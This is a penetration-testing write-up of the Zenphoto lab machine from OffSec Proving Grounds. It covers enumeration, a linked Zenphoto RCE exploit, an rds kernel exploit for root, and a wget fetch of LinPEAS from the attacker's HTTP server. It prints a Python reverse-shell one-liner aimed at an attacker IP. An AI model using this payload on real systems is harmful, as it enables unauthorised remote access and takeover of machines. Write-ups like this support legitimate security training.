> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/proving-grounds/get-to-work/linux/zenphoto.md).

# Zenphoto

Writeup for Zenphoto from offsec Proving Grounds

## Information Gathering

`sudo ./nmapAutomator.sh 192.168.163.41 all`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fe5sEH0g25qeCd9cUwai4%2Fimage.png?alt=media\&token=97dbecae-8de0-4068-9382-0773bd7fa4eb)

### Service Enumeration

### HTTP (Port 80)

`gobuster dir -u http://192.168.163.41/ -w /usr/share/dirb/wordlists/common.txt -t 40`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F8MLUklL2BRJvHJIIxPQo%2Fimage.png?alt=media\&token=145bbb1b-73f7-4759-90e7-9998955bdc61)

We see `/test` and `/index` which is of interest.

#### `/index`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FbJxiHxcftRgPqGHPPSDU%2Fimage.png?alt=media\&token=be5a8840-1039-45dc-b427-394295400337)

Seems like it's just a blank page.

#### `/test`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FjtpTEhAVln4wrykNTCgm%2Fimage.png?alt=media\&token=0d72e39a-6cf9-4d64-8209-0b501087c903)

`/test` looks more interesting and we can see that it is powered by Zenphoto.

Let's try to see if we can find the version number.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FD28QdP49EiZiMDK9EuS8%2Fimage.png?alt=media\&token=93320972-9ae2-46d1-80e8-3f72ece68758)

Looks like this is running Zenphoto 1.4.1.4.

A quick google search and we found out that Zenphoto 1.4.1.4 is vulnerable to 'ajax\_create\_folder.php' Remote Code Execution/

{% embed url="<https://www.exploit-db.com/exploits/18083>" %}

## Exploit

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FA1x91LqG0YGzKxMaIDMd%2Fimage.png?alt=media\&token=2bcaa1b1-cf3f-4eb5-aa21-f4b15a7ed14c)

Now that we have a shell, we can use python to get a more stable reverse shell.

Payload: `export RHOST="192.168.49.163";export RPORT=443;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FrxR6gJEZBiLHHLL6mVd2%2Fimage.png?alt=media\&token=6061b44b-0a84-4276-9736-4bd6105d05b8)

## Privesc

Next, we can start a python SimpleHTTPServer to get LinPeas on the machine.

Attacking machine: `python3 -m http.server 8000`

Target machine: `wget 192.168.49.163:8000/opt/PEASS-ng/linPEAS/linpeas`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FD2OAEjjd5MbPcV1RovLO%2Fimage.png?alt=media\&token=16af0635-c358-4396-a7d8-316fd46fa4f5)

From `linpeas`, we see that there are kernel exploits for this version of the kernel.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FBpLheaVBeu63p5SZ5LSl%2Fimage.png?alt=media\&token=8fa79395-2603-487c-bcc3-94bf0a69f8df)

We tried the first one, `dirtycow 2`, it didn't work well so we tried the second one, rds and it worked.

{% embed url="<https://www.exploit-db.com/exploits/15285>" %}

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FrsT2usikPvRCscILbem9%2Fimage.png?alt=media\&token=14d1e808-397d-4a38-9597-6ba9c2788090)

We can use our Python SimpleHTTPServer to get rds onto the target machine.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FqzAORnaSpPY8HJ1kIWx8%2Fimage.png?alt=media\&token=96363a6d-df87-4c03-9445-315d1d623b0e)

And we get root after running rds.